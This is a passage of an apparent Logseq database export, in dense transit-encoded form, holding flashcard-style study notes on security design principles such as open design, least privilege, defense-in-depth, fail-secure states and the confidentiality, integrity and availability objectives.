logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Micro-Kernelslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Flogseq____&quot;,250,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d918-48f8-881a-33b85818a8f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Open Designlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Flogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b3c0-4a7d-81c3-0895df27466flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Least Common Mechanismlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Flogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-81dc-4800-a640-8948bf434470logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Kerckhoffslogseq____&apos; principle, i.e., security should not rely on the secrecy of mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Flogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Vlogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e547-408b-89f8-8db71b30f5e5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Minimized shared functionalitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Flogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Vlogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e320-49dd-a85b-04e67aa7f52blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Every asset access must be check against the security policylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Flogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Vlogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1b84-4b3d-9f36-bfb6cd14ed86logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Modularity/Compartmentalization\\nid:: 67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Flogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Critical resources should be isolated physically or logically, e.g., *encapsulation*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Flogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Vlogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-3f8b-4f61-86a2-5ce20f4d4ff3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Defense-In-Depthlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Flogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-caca-4e70-b555-5fa4b05be0a9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Component Design at Different Levelslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Flogseq____&quot;,255,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Vlogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874675]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-02df-44c3-8425-0b73acdccaaalogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Require multiple privilege attributes for accessing restricted resourceslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Flogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Vlogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0b2d-4f66-b7f8-9c88ec9c65f2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Do not give out more permissions than absolutely necessarylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Flogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5d38-4c86-8293-c76b5e2e721blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Minimum Exposurelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Flogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b5ec-411a-b621-75d0722ca55dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Multiple, overlapping protection mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Flogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Vlogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-da53-4112-b161-2de9b76d51c6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Separation of Privilegelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Flogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5b70-4de9-be57-8e745e3c8753logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Utilize OS mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Flogseq____&quot;,251,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-73cc-45fc-b017-f9e9e8a2feb4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Split software into moduleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Flogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-42b8-4e95-9d27-05c60d331649logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;System should go into a secure state in the event of failures*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Flogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Vlogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d605-41c1-bfd1-c2fd677b1f89logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Minimize systemlogseq____&apos;s attack surfacelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Flogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Vlogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5df3-4b5f-bf13-330ec7960c3dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Acceptance by Userslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Flogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-f0d2-4f4f-947b-7da20eecf20clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Modular system architecture and security mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Flogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Vlogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a3b1-452a-a64d-1639544dfb31logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;security considerationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^11logseq____&quot;,logseq____&quot;Security Considerationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-d6aa-4abf-bbda-bbf5c32d8d37logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Objectives #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Flogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Vlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-84f7-4ab7-a6a8-7e7e7360f196logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Confidentiality*: No unauthorized information accesseslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Flogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1431-4f6d-99a3-9f100f8b1d77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Integrity*: No unauthorized data modificationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Flogseq____&quot;,259,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-325d-422c-a0fb-ec3275dcdb98logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Availiability*: Timely and reliable accesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Flogseq____&quot;,260,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9d31-4b0e-8fa5-da5fa7d2b92dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authenticity*: Verify users are who they claim to belogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Flogseq____&quot;,261,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1048-43e8-8ca5-657fe971c65blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authorization*: Limit actions authenticated users are allowed to performlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Flogseq____&quot;,262,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d8f3-4d64-9b03-a381056ef076logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### 